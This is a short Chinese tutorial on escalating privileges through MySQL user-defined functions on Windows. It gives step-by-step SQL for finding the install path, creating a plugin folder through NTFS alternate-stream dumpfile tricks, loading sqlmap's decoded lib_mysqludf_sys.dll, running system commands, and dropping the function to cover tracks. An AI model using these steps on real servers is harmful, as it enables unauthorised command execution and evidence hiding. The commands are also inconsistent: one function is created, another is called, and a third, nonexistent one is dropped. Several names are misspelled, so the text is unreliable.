什么是udf?
udf-mysql擴展函數
MySQL的內置函數雖然豐富,但畢竟不能完全滿足所有人的需要,有時候我們需要對表中的數據進行一些處理而內置函數不能滿足需要的時候,就需要對MySQL進行一些擴展,MySQL給使用者提供了添加新函數的機制,這種使用者自行添加的MySQL函數就稱為UDF(User Define Function)。
UDF提權原理
使用udf分三步:
1.把含義自定義函數(如執行系統命令函數“sys_eval”)的dll文件放入特定文件夾下。
2.聲明引入這個dll文件中的自定義函數。
3.使用自定義的函數。
提權前置條件
1.目標系統是Windows(Win2000,XP,Win2003的成功率比較高)
2.你已經擁有MYSQL的某個用戶賬號(網站配置文件、查看數據庫安裝路徑下的mysql文件、暴力破解),此賬號必須有對mysql的insert和delete權限以創建和拋棄函數,一般是root。
3.如果mysql版本大於5.1,udf.dll文件必須放置在mysql安裝目錄的lib\plugin文件夾下才可以創建自定義函數,該目錄默認是不存在的,需要使用webshell找到mysql的安裝目錄,並在安裝目錄下創建lib\plugin文件夾,然后將udf.dll文件導出到該目錄。
4.如果mysql版本小於5.1, udf.dll文件在windows server 2003下放置於c:\windows\system32目錄,在windows server 2000下放置在c:\winnt\system32目錄。
提權過程
1.收集必要信息
select version(); //獲取數據庫版本 select user(); //獲取數據庫用戶 select @@basedir; //獲取數據庫安裝目錄 show variables like "%char%"; //尋找mysql安裝路徑
2.MySQL版本高於5.1,創建導出文件夾
如上前置條件-3所說,MySQL版本高於5.1,libplugin目錄本身是不存在的。參考資料利用NTFS ADS流來創建文件夾,如下所示:
select @@basedir; select 'it is dll' into dumpfile ' c:\\phpStudy\\MySQL\\share\\charsets\\lib::$INDEX_ALLOCATION'; select 'it is dll' into dumpfile ' c:\\phpStudy\\MySQL\\share\\charsets\\lib\\plugin::$INDEX_ALLOCATION';
或者直接用你獲得的webshell在mysql安裝路徑下創建piugin目錄,再導入udf.dll
3.導入udf.dll文件
SQLmap里的duf.dll是經過編碼的使用 sqlmap/extra/cloak目錄下的 cloak.py進行解碼
create function sys_exec returns string soname "lib_mysqludf_sys.dll";
4.執行命令
select sys_eval ('whoami');
5.清除痕跡
drop dunction cmdshell; //將函數刪除